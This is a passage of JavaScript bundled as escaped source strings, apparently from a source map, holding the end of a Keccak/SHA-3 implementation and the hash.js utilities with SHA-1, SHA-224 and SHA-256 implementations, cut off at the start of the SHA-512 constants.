blocks[blockCount - 1] |= 0x80000000;\n for (i = 0; i < blockCount; ++i) {\n s[i] ^= blocks[i];\n }\n f(s);\n };\n\n Keccak.prototype.toString = Keccak.prototype.hex = function () {\n this.finalize();\n\n var blockCount = this.blockCount, s = this.s, outputBlocks = this.outputBlocks,\n extraBytes = this.extraBytes, i = 0, j = 0;\n var hex = '', block;\n while (j < outputBlocks) {\n for (i = 0; i < blockCount && j < outputBlocks; ++i, ++j) {\n block = s[i];\n hex += HEX_CHARS[(block >> 4) & 0x0F] + HEX_CHARS[block & 0x0F] +\n HEX_CHARS[(block >> 12) & 0x0F] + HEX_CHARS[(block >> 8) & 0x0F] +\n HEX_CHARS[(block >> 20) & 0x0F] + HEX_CHARS[(block >> 16) & 0x0F] +\n HEX_CHARS[(block >> 28) & 0x0F] + HEX_CHARS[(block >> 24) & 0x0F];\n }\n if (j % blockCount === 0) {\n f(s);\n i = 0;\n }\n }\n if (extraBytes) {\n block = s[i];\n hex += HEX_CHARS[(block >> 4) & 0x0F] + HEX_CHARS[block & 0x0F];\n if (extraBytes > 1) {\n hex += HEX_CHARS[(block >> 12) & 0x0F] + HEX_CHARS[(block >> 8) & 0x0F];\n }\n if (extraBytes > 2) {\n hex += HEX_CHARS[(block >> 20) & 0x0F] + HEX_CHARS[(block >> 16) & 0x0F];\n }\n }\n return hex;\n };\n\n Keccak.prototype.arrayBuffer = function () {\n this.finalize();\n\n var blockCount = this.blockCount, s = this.s, outputBlocks = this.outputBlocks,\n extraBytes = this.extraBytes, i = 0, j = 0;\n var bytes = this.outputBits >> 3;\n var buffer;\n if (extraBytes) {\n buffer = new ArrayBuffer((outputBlocks + 1) << 2);\n } else {\n buffer = new ArrayBuffer(bytes);\n }\n var array = new Uint32Array(buffer);\n while (j < outputBlocks) {\n for (i = 0; i < blockCount && j < outputBlocks; ++i, ++j) {\n array[j] = s[i];\n }\n if (j % blockCount === 0) {\n f(s);\n }\n }\n if (extraBytes) {\n array[i] = s[i];\n buffer = buffer.slice(0, bytes);\n }\n return buffer;\n };\n\n Keccak.prototype.buffer = Keccak.prototype.arrayBuffer;\n\n Keccak.prototype.digest = Keccak.prototype.array = function () {\n this.finalize();\n\n var blockCount = this.blockCount, s = this.s, outputBlocks = this.outputBlocks,\n extraBytes = this.extraBytes, i = 0, j = 0;\n var array = [], offset, block;\n while (j < outputBlocks) {\n for (i = 0; i < blockCount && j < outputBlocks; ++i, ++j) {\n offset = j << 2;\n block = s[i];\n array[offset] = block & 0xFF;\n array[offset + 1] = (block >> 8) & 0xFF;\n array[offset + 2] = (block >> 16) & 0xFF;\n array[offset + 3] = (block >> 24) & 0xFF;\n }\n if (j % blockCount === 0) {\n f(s);\n }\n }\n if (extraBytes) {\n offset = j << 2;\n block = s[i];\n array[offset] = block & 0xFF;\n if (extraBytes > 1) {\n array[offset + 1] = (block >> 8) & 0xFF;\n }\n if (extraBytes > 2) {\n array[offset + 2] = (block >> 16) & 0xFF;\n }\n }\n return array;\n };\n\n function Kmac(bits, padding, outputBits) {\n Keccak.call(this, bits, padding, outputBits);\n }\n\n Kmac.prototype = new Keccak();\n\n Kmac.prototype.finalize = function () {\n this.encode(this.outputBits, true);\n return Keccak.prototype.finalize.call(this);\n };\n\n var f = function (s) {\n var h, l, n, c0, c1, c2, c3, c4, c5, c6, c7, c8, c9,\n b0, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17,\n b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33,\n b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46, b47, b48, b49;\n for (n = 0; n < 48; n += 2) {\n c0 = s[0] ^ s[10] ^ s[20] ^ s[30] ^ s[40];\n c1 = s[1] ^ s[11] ^ s[21] ^ s[31] ^ s[41];\n c2 = s[2] ^ s[12] ^ s[22] ^ s[32] ^ s[42];\n c3 = s[3] ^ s[13] ^ s[23] ^ s[33] ^ s[43];\n c4 = s[4] ^ s[14] ^ s[24] ^ s[34] ^ s[44];\n c5 = s[5] ^ s[15] ^ s[25] ^ s[35] ^ s[45];\n c6 = s[6] ^ s[16] ^ s[26] ^ s[36] ^ s[46];\n c7 = s[7] ^ s[17] ^ s[27] ^ s[37] ^ s[47];\n c8 = s[8] ^ s[18] ^ s[28] ^ s[38] ^ s[48];\n c9 = s[9] ^ s[19] ^ s[29] ^ s[39] ^ s[49];\n\n h = c8 ^ ((c2 << 1) | (c3 >>> 31));\n l = c9 ^ ((c3 << 1) | (c2 >>> 31));\n s[0] ^= h;\n s[1] ^= l;\n s[10] ^= h;\n s[11] ^= l;\n s[20] ^= h;\n s[21] ^= l;\n s[30] ^= h;\n s[31] ^= l;\n s[40] ^= h;\n s[41] ^= l;\n h = c0 ^ ((c4 << 1) | (c5 >>> 31));\n l = c1 ^ ((c5 << 1) | (c4 >>> 31));\n s[2] ^= h;\n s[3] ^= l;\n s[12] ^= h;\n s[13] ^= l;\n s[22] ^= h;\n s[23] ^= l;\n s[32] ^= h;\n s[33] ^= l;\n s[42] ^= h;\n s[43] ^= l;\n h = c2 ^ ((c6 << 1) | (c7 >>> 31));\n l = c3 ^ ((c7 << 1) | (c6 >>> 31));\n s[4] ^= h;\n s[5] ^= l;\n s[14] ^= h;\n s[15] ^= l;\n s[24] ^= h;\n s[25] ^= l;\n s[34] ^= h;\n s[35] ^= l;\n s[44] ^= h;\n s[45] ^= l;\n h = c4 ^ ((c8 << 1) | (c9 >>> 31));\n l = c5 ^ ((c9 << 1) | (c8 >>> 31));\n s[6] ^= h;\n s[7] ^= l;\n s[16] ^= h;\n s[17] ^= l;\n s[26] ^= h;\n s[27] ^= l;\n s[36] ^= h;\n s[37] ^= l;\n s[46] ^= h;\n s[47] ^= l;\n h = c6 ^ ((c0 << 1) | (c1 >>> 31));\n l = c7 ^ ((c1 << 1) | (c0 >>> 31));\n s[8] ^= h;\n s[9] ^= l;\n s[18] ^= h;\n s[19] ^= l;\n s[28] ^= h;\n s[29] ^= l;\n s[38] ^= h;\n s[39] ^= l;\n s[48] ^= h;\n s[49] ^= l;\n\n b0 = s[0];\n b1 = s[1];\n b32 = (s[11] << 4) | (s[10] >>> 28);\n b33 = (s[10] << 4) | (s[11] >>> 28);\n b14 = (s[20] << 3) | (s[21] >>> 29);\n b15 = (s[21] << 3) | (s[20] >>> 29);\n b46 = (s[31] << 9) | (s[30] >>> 23);\n b47 = (s[30] << 9) | (s[31] >>> 23);\n b28 = (s[40] << 18) | (s[41] >>> 14);\n b29 = (s[41] << 18) | (s[40] >>> 14);\n b20 = (s[2] << 1) | (s[3] >>> 31);\n b21 = (s[3] << 1) | (s[2] >>> 31);\n b2 = (s[13] << 12) | (s[12] >>> 20);\n b3 = (s[12] << 12) | (s[13] >>> 20);\n b34 = (s[22] << 10) | (s[23] >>> 22);\n b35 = (s[23] << 10) | (s[22] >>> 22);\n b16 = (s[33] << 13) | (s[32] >>> 19);\n b17 = (s[32] << 13) | (s[33] >>> 19);\n b48 = (s[42] << 2) | (s[43] >>> 30);\n b49 = (s[43] << 2) | (s[42] >>> 30);\n b40 = (s[5] << 30) | (s[4] >>> 2);\n b41 = (s[4] << 30) | (s[5] >>> 2);\n b22 = (s[14] << 6) | (s[15] >>> 26);\n b23 = (s[15] << 6) | (s[14] >>> 26);\n b4 = (s[25] << 11) | (s[24] >>> 21);\n b5 = (s[24] << 11) | (s[25] >>> 21);\n b36 = (s[34] << 15) | (s[35] >>> 17);\n b37 = (s[35] << 15) | (s[34] >>> 17);\n b18 = (s[45] << 29) | (s[44] >>> 3);\n b19 = (s[44] << 29) | (s[45] >>> 3);\n b10 = (s[6] << 28) | (s[7] >>> 4);\n b11 = (s[7] << 28) | (s[6] >>> 4);\n b42 = (s[17] << 23) | (s[16] >>> 9);\n b43 = (s[16] << 23) | (s[17] >>> 9);\n b24 = (s[26] << 25) | (s[27] >>> 7);\n b25 = (s[27] << 25) | (s[26] >>> 7);\n b6 = (s[36] << 21) | (s[37] >>> 11);\n b7 = (s[37] << 21) | (s[36] >>> 11);\n b38 = (s[47] << 24) | (s[46] >>> 8);\n b39 = (s[46] << 24) | (s[47] >>> 8);\n b30 = (s[8] << 27) | (s[9] >>> 5);\n b31 = (s[9] << 27) | (s[8] >>> 5);\n b12 = (s[18] << 20) | (s[19] >>> 12);\n b13 = (s[19] << 20) | (s[18] >>> 12);\n b44 = (s[29] << 7) | (s[28] >>> 25);\n b45 = (s[28] << 7) | (s[29] >>> 25);\n b26 = (s[38] << 8) | (s[39] >>> 24);\n b27 = (s[39] << 8) | (s[38] >>> 24);\n b8 = (s[48] << 14) | (s[49] >>> 18);\n b9 = (s[49] << 14) | (s[48] >>> 18);\n\n s[0] = b0 ^ (~b2 & b4);\n s[1] = b1 ^ (~b3 & b5);\n s[10] = b10 ^ (~b12 & b14);\n s[11] = b11 ^ (~b13 & b15);\n s[20] = b20 ^ (~b22 & b24);\n s[21] = b21 ^ (~b23 & b25);\n s[30] = b30 ^ (~b32 & b34);\n s[31] = b31 ^ (~b33 & b35);\n s[40] = b40 ^ (~b42 & b44);\n s[41] = b41 ^ (~b43 & b45);\n s[2] = b2 ^ (~b4 & b6);\n s[3] = b3 ^ (~b5 & b7);\n s[12] = b12 ^ (~b14 & b16);\n s[13] = b13 ^ (~b15 & b17);\n s[22] = b22 ^ (~b24 & b26);\n s[23] = b23 ^ (~b25 & b27);\n s[32] = b32 ^ (~b34 & b36);\n s[33] = b33 ^ (~b35 & b37);\n s[42] = b42 ^ (~b44 & b46);\n s[43] = b43 ^ (~b45 & b47);\n s[4] = b4 ^ (~b6 & b8);\n s[5] = b5 ^ (~b7 & b9);\n s[14] = b14 ^ (~b16 & b18);\n s[15] = b15 ^ (~b17 & b19);\n s[24] = b24 ^ (~b26 & b28);\n s[25] = b25 ^ (~b27 & b29);\n s[34] = b34 ^ (~b36 & b38);\n s[35] = b35 ^ (~b37 & b39);\n s[44] = b44 ^ (~b46 & b48);\n s[45] = b45 ^ (~b47 & b49);\n s[6] = b6 ^ (~b8 & b0);\n s[7] = b7 ^ (~b9 & b1);\n s[16] = b16 ^ (~b18 & b10);\n s[17] = b17 ^ (~b19 & b11);\n s[26] = b26 ^ (~b28 & b20);\n s[27] = b27 ^ (~b29 & b21);\n s[36] = b36 ^ (~b38 & b30);\n s[37] = b37 ^ (~b39 & b31);\n s[46] = b46 ^ (~b48 & b40);\n s[47] = b47 ^ (~b49 & b41);\n s[8] = b8 ^ (~b0 & b2);\n s[9] = b9 ^ (~b1 & b3);\n s[18] = b18 ^ (~b10 & b12);\n s[19] = b19 ^ (~b11 & b13);\n s[28] = b28 ^ (~b20 & b22);\n s[29] = b29 ^ (~b21 & b23);\n s[38] = b38 ^ (~b30 & b32);\n s[39] = b39 ^ (~b31 & b33);\n s[48] = b48 ^ (~b40 & b42);\n s[49] = b49 ^ (~b41 & b43);\n\n s[0] ^= RC[n];\n s[1] ^= RC[n + 1];\n }\n };\n\n if (COMMON_JS) {\n module.exports = methods;\n } else {\n for (i = 0; i < methodNames.length; ++i) {\n root[methodNames[i]] = methods[methodNames[i]];\n }\n if (AMD) {\n define(function () {\n return methods;\n });\n }\n }\n})();\n", "module.exports = assert;\n\nfunction assert(val, msg) {\n if (!val)\n throw new Error(msg || 'Assertion failed');\n}\n\nassert.equal = function assertEqual(l, r, msg) {\n if (l != r)\n throw new Error(msg || ('Assertion failed: ' + l + ' != ' + r));\n};\n", "if (typeof Object.create === 'function') {\n // implementation from standard node.js 'util' module\n module.exports = function inherits(ctor, superCtor) {\n if (superCtor) {\n ctor.super_ = superCtor\n ctor.prototype = Object.create(superCtor.prototype, {\n constructor: {\n value: ctor,\n enumerable: false,\n writable: true,\n configurable: true\n }\n })\n }\n };\n} else {\n // old school shim for old browsers\n module.exports = function inherits(ctor, superCtor) {\n if (superCtor) {\n ctor.super_ = superCtor\n var TempCtor = function () {}\n TempCtor.prototype = superCtor.prototype\n ctor.prototype = new TempCtor()\n ctor.prototype.constructor = ctor\n }\n }\n}\n", "'use strict';\n\nvar assert = require('minimalistic-assert');\nvar inherits = require('inherits');\n\nexports.inherits = inherits;\n\nfunction isSurrogatePair(msg, i) {\n if ((msg.charCodeAt(i) & 0xFC00) !== 0xD800) {\n return false;\n }\n if (i < 0 || i + 1 >= msg.length) {\n return false;\n }\n return (msg.charCodeAt(i + 1) & 0xFC00) === 0xDC00;\n}\n\nfunction toArray(msg, enc) {\n if (Array.isArray(msg))\n return msg.slice();\n if (!msg)\n return [];\n var res = [];\n if (typeof msg === 'string') {\n if (!enc) {\n // Inspired by stringToUtf8ByteArray() in closure-library by Google\n // https://github.com/google/closure-library/blob/8598d87242af59aac233270742c8984e2b2bdbe0/closure/goog/crypt/crypt.js#L117-L143\n // Apache License 2.0\n // https://github.com/google/closure-library/blob/master/LICENSE\n var p = 0;\n for (var i = 0; i < msg.length; i++) {\n var c = msg.charCodeAt(i);\n if (c < 128) {\n res[p++] = c;\n } else if (c < 2048) {\n res[p++] = (c >> 6) | 192;\n res[p++] = (c & 63) | 128;\n } else if (isSurrogatePair(msg, i)) {\n c = 0x10000 + ((c & 0x03FF) << 10) + (msg.charCodeAt(++i) & 0x03FF);\n res[p++] = (c >> 18) | 240;\n res[p++] = ((c >> 12) & 63) | 128;\n res[p++] = ((c >> 6) & 63) | 128;\n res[p++] = (c & 63) | 128;\n } else {\n res[p++] = (c >> 12) | 224;\n res[p++] = ((c >> 6) & 63) | 128;\n res[p++] = (c & 63) | 128;\n }\n }\n } else if (enc === 'hex') {\n msg = msg.replace(/[^a-z0-9]+/ig, '');\n if (msg.length % 2 !== 0)\n msg = '0' + msg;\n for (i = 0; i < msg.length; i += 2)\n res.push(parseInt(msg[i] + msg[i + 1], 16));\n }\n } else {\n for (i = 0; i < msg.length; i++)\n res[i] = msg[i] | 0;\n }\n return res;\n}\nexports.toArray = toArray;\n\nfunction toHex(msg) {\n var res = '';\n for (var i = 0; i < msg.length; i++)\n res += zero2(msg[i].toString(16));\n return res;\n}\nexports.toHex = toHex;\n\nfunction htonl(w) {\n var res = (w >>> 24) |\n ((w >>> 8) & 0xff00) |\n ((w << 8) & 0xff0000) |\n ((w & 0xff) << 24);\n return res >>> 0;\n}\nexports.htonl = htonl;\n\nfunction toHex32(msg, endian) {\n var res = '';\n for (var i = 0; i < msg.length; i++) {\n var w = msg[i];\n if (endian === 'little')\n w = htonl(w);\n res += zero8(w.toString(16));\n }\n return res;\n}\nexports.toHex32 = toHex32;\n\nfunction zero2(word) {\n if (word.length === 1)\n return '0' + word;\n else\n return word;\n}\nexports.zero2 = zero2;\n\nfunction zero8(word) {\n if (word.length === 7)\n return '0' + word;\n else if (word.length === 6)\n return '00' + word;\n else if (word.length === 5)\n return '000' + word;\n else if (word.length === 4)\n return '0000' + word;\n else if (word.length === 3)\n return '00000' + word;\n else if (word.length === 2)\n return '000000' + word;\n else if (word.length === 1)\n return '0000000' + word;\n else\n return word;\n}\nexports.zero8 = zero8;\n\nfunction join32(msg, start, end, endian) {\n var len = end - start;\n assert(len % 4 === 0);\n var res = new Array(len / 4);\n for (var i = 0, k = start; i < res.length; i++, k += 4) {\n var w;\n if (endian === 'big')\n w = (msg[k] << 24) | (msg[k + 1] << 16) | (msg[k + 2] << 8) | msg[k + 3];\n else\n w = (msg[k + 3] << 24) | (msg[k + 2] << 16) | (msg[k + 1] << 8) | msg[k];\n res[i] = w >>> 0;\n }\n return res;\n}\nexports.join32 = join32;\n\nfunction split32(msg, endian) {\n var res = new Array(msg.length * 4);\n for (var i = 0, k = 0; i < msg.length; i++, k += 4) {\n var m = msg[i];\n if (endian === 'big') {\n res[k] = m >>> 24;\n res[k + 1] = (m >>> 16) & 0xff;\n res[k + 2] = (m >>> 8) & 0xff;\n res[k + 3] = m & 0xff;\n } else {\n res[k + 3] = m >>> 24;\n res[k + 2] = (m >>> 16) & 0xff;\n res[k + 1] = (m >>> 8) & 0xff;\n res[k] = m & 0xff;\n }\n }\n return res;\n}\nexports.split32 = split32;\n\nfunction rotr32(w, b) {\n return (w >>> b) | (w << (32 - b));\n}\nexports.rotr32 = rotr32;\n\nfunction rotl32(w, b) {\n return (w << b) | (w >>> (32 - b));\n}\nexports.rotl32 = rotl32;\n\nfunction sum32(a, b) {\n return (a + b) >>> 0;\n}\nexports.sum32 = sum32;\n\nfunction sum32_3(a, b, c) {\n return (a + b + c) >>> 0;\n}\nexports.sum32_3 = sum32_3;\n\nfunction sum32_4(a, b, c, d) {\n return (a + b + c + d) >>> 0;\n}\nexports.sum32_4 = sum32_4;\n\nfunction sum32_5(a, b, c, d, e) {\n return (a + b + c + d + e) >>> 0;\n}\nexports.sum32_5 = sum32_5;\n\nfunction sum64(buf, pos, ah, al) {\n var bh = buf[pos];\n var bl = buf[pos + 1];\n\n var lo = (al + bl) >>> 0;\n var hi = (lo < al ? 1 : 0) + ah + bh;\n buf[pos] = hi >>> 0;\n buf[pos + 1] = lo;\n}\nexports.sum64 = sum64;\n\nfunction sum64_hi(ah, al, bh, bl) {\n var lo = (al + bl) >>> 0;\n var hi = (lo < al ? 1 : 0) + ah + bh;\n return hi >>> 0;\n}\nexports.sum64_hi = sum64_hi;\n\nfunction sum64_lo(ah, al, bh, bl) {\n var lo = al + bl;\n return lo >>> 0;\n}\nexports.sum64_lo = sum64_lo;\n\nfunction sum64_4_hi(ah, al, bh, bl, ch, cl, dh, dl) {\n var carry = 0;\n var lo = al;\n lo = (lo + bl) >>> 0;\n carry += lo < al ? 1 : 0;\n lo = (lo + cl) >>> 0;\n carry += lo < cl ? 1 : 0;\n lo = (lo + dl) >>> 0;\n carry += lo < dl ? 1 : 0;\n\n var hi = ah + bh + ch + dh + carry;\n return hi >>> 0;\n}\nexports.sum64_4_hi = sum64_4_hi;\n\nfunction sum64_4_lo(ah, al, bh, bl, ch, cl, dh, dl) {\n var lo = al + bl + cl + dl;\n return lo >>> 0;\n}\nexports.sum64_4_lo = sum64_4_lo;\n\nfunction sum64_5_hi(ah, al, bh, bl, ch, cl, dh, dl, eh, el) {\n var carry = 0;\n var lo = al;\n lo = (lo + bl) >>> 0;\n carry += lo < al ? 1 : 0;\n lo = (lo + cl) >>> 0;\n carry += lo < cl ? 1 : 0;\n lo = (lo + dl) >>> 0;\n carry += lo < dl ? 1 : 0;\n lo = (lo + el) >>> 0;\n carry += lo < el ? 1 : 0;\n\n var hi = ah + bh + ch + dh + eh + carry;\n return hi >>> 0;\n}\nexports.sum64_5_hi = sum64_5_hi;\n\nfunction sum64_5_lo(ah, al, bh, bl, ch, cl, dh, dl, eh, el) {\n var lo = al + bl + cl + dl + el;\n\n return lo >>> 0;\n}\nexports.sum64_5_lo = sum64_5_lo;\n\nfunction rotr64_hi(ah, al, num) {\n var r = (al << (32 - num)) | (ah >>> num);\n return r >>> 0;\n}\nexports.rotr64_hi = rotr64_hi;\n\nfunction rotr64_lo(ah, al, num) {\n var r = (ah << (32 - num)) | (al >>> num);\n return r >>> 0;\n}\nexports.rotr64_lo = rotr64_lo;\n\nfunction shr64_hi(ah, al, num) {\n return ah >>> num;\n}\nexports.shr64_hi = shr64_hi;\n\nfunction shr64_lo(ah, al, num) {\n var r = (ah << (32 - num)) | (al >>> num);\n return r >>> 0;\n}\nexports.shr64_lo = shr64_lo;\n", "'use strict';\n\nvar utils = require('./utils');\nvar assert = require('minimalistic-assert');\n\nfunction BlockHash() {\n this.pending = null;\n this.pendingTotal = 0;\n this.blockSize = this.constructor.blockSize;\n this.outSize = this.constructor.outSize;\n this.hmacStrength = this.constructor.hmacStrength;\n this.padLength = this.constructor.padLength / 8;\n this.endian = 'big';\n\n this._delta8 = this.blockSize / 8;\n this._delta32 = this.blockSize / 32;\n}\nexports.BlockHash = BlockHash;\n\nBlockHash.prototype.update = function update(msg, enc) {\n // Convert message to array, pad it, and join into 32bit blocks\n msg = utils.toArray(msg, enc);\n if (!this.pending)\n this.pending = msg;\n else\n this.pending = this.pending.concat(msg);\n this.pendingTotal += msg.length;\n\n // Enough data, try updating\n if (this.pending.length >= this._delta8) {\n msg = this.pending;\n\n // Process pending data in blocks\n var r = msg.length % this._delta8;\n this.pending = msg.slice(msg.length - r, msg.length);\n if (this.pending.length === 0)\n this.pending = null;\n\n msg = utils.join32(msg, 0, msg.length - r, this.endian);\n for (var i = 0; i < msg.length; i += this._delta32)\n this._update(msg, i, i + this._delta32);\n }\n\n return this;\n};\n\nBlockHash.prototype.digest = function digest(enc) {\n this.update(this._pad());\n assert(this.pending === null);\n\n return this._digest(enc);\n};\n\nBlockHash.prototype._pad = function pad() {\n var len = this.pendingTotal;\n var bytes = this._delta8;\n var k = bytes - ((len + this.padLength) % bytes);\n var res = new Array(k + this.padLength);\n res[0] = 0x80;\n for (var i = 1; i < k; i++)\n res[i] = 0;\n\n // Append length\n len <<= 3;\n if (this.endian === 'big') {\n for (var t = 8; t < this.padLength; t++)\n res[i++] = 0;\n\n res[i++] = 0;\n res[i++] = 0;\n res[i++] = 0;\n res[i++] = 0;\n res[i++] = (len >>> 24) & 0xff;\n res[i++] = (len >>> 16) & 0xff;\n res[i++] = (len >>> 8) & 0xff;\n res[i++] = len & 0xff;\n } else {\n res[i++] = len & 0xff;\n res[i++] = (len >>> 8) & 0xff;\n res[i++] = (len >>> 16) & 0xff;\n res[i++] = (len >>> 24) & 0xff;\n res[i++] = 0;\n res[i++] = 0;\n res[i++] = 0;\n res[i++] = 0;\n\n for (t = 8; t < this.padLength; t++)\n res[i++] = 0;\n }\n\n return res;\n};\n", "'use strict';\n\nvar utils = require('../utils');\nvar rotr32 = utils.rotr32;\n\nfunction ft_1(s, x, y, z) {\n if (s === 0)\n return ch32(x, y, z);\n if (s === 1 || s === 3)\n return p32(x, y, z);\n if (s === 2)\n return maj32(x, y, z);\n}\nexports.ft_1 = ft_1;\n\nfunction ch32(x, y, z) {\n return (x & y) ^ ((~x) & z);\n}\nexports.ch32 = ch32;\n\nfunction maj32(x, y, z) {\n return (x & y) ^ (x & z) ^ (y & z);\n}\nexports.maj32 = maj32;\n\nfunction p32(x, y, z) {\n return x ^ y ^ z;\n}\nexports.p32 = p32;\n\nfunction s0_256(x) {\n return rotr32(x, 2) ^ rotr32(x, 13) ^ rotr32(x, 22);\n}\nexports.s0_256 = s0_256;\n\nfunction s1_256(x) {\n return rotr32(x, 6) ^ rotr32(x, 11) ^ rotr32(x, 25);\n}\nexports.s1_256 = s1_256;\n\nfunction g0_256(x) {\n return rotr32(x, 7) ^ rotr32(x, 18) ^ (x >>> 3);\n}\nexports.g0_256 = g0_256;\n\nfunction g1_256(x) {\n return rotr32(x, 17) ^ rotr32(x, 19) ^ (x >>> 10);\n}\nexports.g1_256 = g1_256;\n", "'use strict';\n\nvar utils = require('../utils');\nvar common = require('../common');\nvar shaCommon = require('./common');\n\nvar rotl32 = utils.rotl32;\nvar sum32 = utils.sum32;\nvar sum32_5 = utils.sum32_5;\nvar ft_1 = shaCommon.ft_1;\nvar BlockHash = common.BlockHash;\n\nvar sha1_K = [\n 0x5A827999, 0x6ED9EBA1,\n 0x8F1BBCDC, 0xCA62C1D6\n];\n\nfunction SHA1() {\n if (!(this instanceof SHA1))\n return new SHA1();\n\n BlockHash.call(this);\n this.h = [\n 0x67452301, 0xefcdab89, 0x98badcfe,\n 0x10325476, 0xc3d2e1f0 ];\n this.W = new Array(80);\n}\n\nutils.inherits(SHA1, BlockHash);\nmodule.exports = SHA1;\n\nSHA1.blockSize = 512;\nSHA1.outSize = 160;\nSHA1.hmacStrength = 80;\nSHA1.padLength = 64;\n\nSHA1.prototype._update = function _update(msg, start) {\n var W = this.W;\n\n for (var i = 0; i < 16; i++)\n W[i] = msg[start + i];\n\n for(; i < W.length; i++)\n W[i] = rotl32(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1);\n\n var a = this.h[0];\n var b = this.h[1];\n var c = this.h[2];\n var d = this.h[3];\n var e = this.h[4];\n\n for (i = 0; i < W.length; i++) {\n var s = ~~(i / 20);\n var t = sum32_5(rotl32(a, 5), ft_1(s, b, c, d), e, W[i], sha1_K[s]);\n e = d;\n d = c;\n c = rotl32(b, 30);\n b = a;\n a = t;\n }\n\n this.h[0] = sum32(this.h[0], a);\n this.h[1] = sum32(this.h[1], b);\n this.h[2] = sum32(this.h[2], c);\n this.h[3] = sum32(this.h[3], d);\n this.h[4] = sum32(this.h[4], e);\n};\n\nSHA1.prototype._digest = function digest(enc) {\n if (enc === 'hex')\n return utils.toHex32(this.h, 'big');\n else\n return utils.split32(this.h, 'big');\n};\n", "'use strict';\n\nvar utils = require('../utils');\nvar common = require('../common');\nvar shaCommon = require('./common');\nvar assert = require('minimalistic-assert');\n\nvar sum32 = utils.sum32;\nvar sum32_4 = utils.sum32_4;\nvar sum32_5 = utils.sum32_5;\nvar ch32 = shaCommon.ch32;\nvar maj32 = shaCommon.maj32;\nvar s0_256 = shaCommon.s0_256;\nvar s1_256 = shaCommon.s1_256;\nvar g0_256 = shaCommon.g0_256;\nvar g1_256 = shaCommon.g1_256;\n\nvar BlockHash = common.BlockHash;\n\nvar sha256_K = [\n 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,\n 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,\n 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,\n 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,\n 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,\n 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,\n 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,\n 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,\n 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,\n 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,\n 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,\n 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,\n 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,\n 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,\n 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,\n 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2\n];\n\nfunction SHA256() {\n if (!(this instanceof SHA256))\n return new SHA256();\n\n BlockHash.call(this);\n this.h = [\n 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a,\n 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19\n ];\n this.k = sha256_K;\n this.W = new Array(64);\n}\nutils.inherits(SHA256, BlockHash);\nmodule.exports = SHA256;\n\nSHA256.blockSize = 512;\nSHA256.outSize = 256;\nSHA256.hmacStrength = 192;\nSHA256.padLength = 64;\n\nSHA256.prototype._update = function _update(msg, start) {\n var W = this.W;\n\n for (var i = 0; i < 16; i++)\n W[i] = msg[start + i];\n for (; i < W.length; i++)\n W[i] = sum32_4(g1_256(W[i - 2]), W[i - 7], g0_256(W[i - 15]), W[i - 16]);\n\n var a = this.h[0];\n var b = this.h[1];\n var c = this.h[2];\n var d = this.h[3];\n var e = this.h[4];\n var f = this.h[5];\n var g = this.h[6];\n var h = this.h[7];\n\n assert(this.k.length === W.length);\n for (i = 0; i < W.length; i++) {\n var T1 = sum32_5(h, s1_256(e), ch32(e, f, g), this.k[i], W[i]);\n var T2 = sum32(s0_256(a), maj32(a, b, c));\n h = g;\n g = f;\n f = e;\n e = sum32(d, T1);\n d = c;\n c = b;\n b = a;\n a = sum32(T1, T2);\n }\n\n this.h[0] = sum32(this.h[0], a);\n this.h[1] = sum32(this.h[1], b);\n this.h[2] = sum32(this.h[2], c);\n this.h[3] = sum32(this.h[3], d);\n this.h[4] = sum32(this.h[4], e);\n this.h[5] = sum32(this.h[5], f);\n this.h[6] = sum32(this.h[6], g);\n this.h[7] = sum32(this.h[7], h);\n};\n\nSHA256.prototype._digest = function digest(enc) {\n if (enc === 'hex')\n return utils.toHex32(this.h, 'big');\n else\n return utils.split32(this.h, 'big');\n};\n", "'use strict';\n\nvar utils = require('../utils');\nvar SHA256 = require('./256');\n\nfunction SHA224() {\n if (!(this instanceof SHA224))\n return new SHA224();\n\n SHA256.call(this);\n this.h = [\n 0xc1059ed8, 0x367cd507, 0x3070dd17, 0xf70e5939,\n 0xffc00b31, 0x68581511, 0x64f98fa7, 0xbefa4fa4 ];\n}\nutils.inherits(SHA224, SHA256);\nmodule.exports = SHA224;\n\nSHA224.blockSize = 512;\nSHA224.outSize = 224;\nSHA224.hmacStrength = 192;\nSHA224.padLength = 64;\n\nSHA224.prototype._digest = function digest(enc) {\n // Just truncate output\n if (enc === 'hex')\n return utils.toHex32(this.h.slice(0, 7), 'big');\n else\n return utils.split32(this.h.slice(0, 7), 'big');\n};\n\n", "'use strict';\n\nvar utils = require('../utils');\nvar common = require('../common');\nvar assert = require('minimalistic-assert');\n\nvar rotr64_hi = utils.rotr64_hi;\nvar rotr64_lo = utils.rotr64_lo;\nvar shr64_hi = utils.shr64_hi;\nvar shr64_lo = utils.shr64_lo;\nvar sum64 = utils.sum64;\nvar sum64_hi = utils.sum64_hi;\nvar sum64_lo = utils.sum64_lo;\nvar sum64_4_hi = utils.sum64_4_hi;\nvar sum64_4_lo = utils.sum64_4_lo;\nvar sum64_5_hi = utils.sum64_5_hi;\nvar sum64_5_lo = utils.sum64_5_lo;\n\nvar BlockHash = common.BlockHash;\n\nvar sha512_K = [\n 0x428a2f98, 0xd728ae22, 0x71374491, 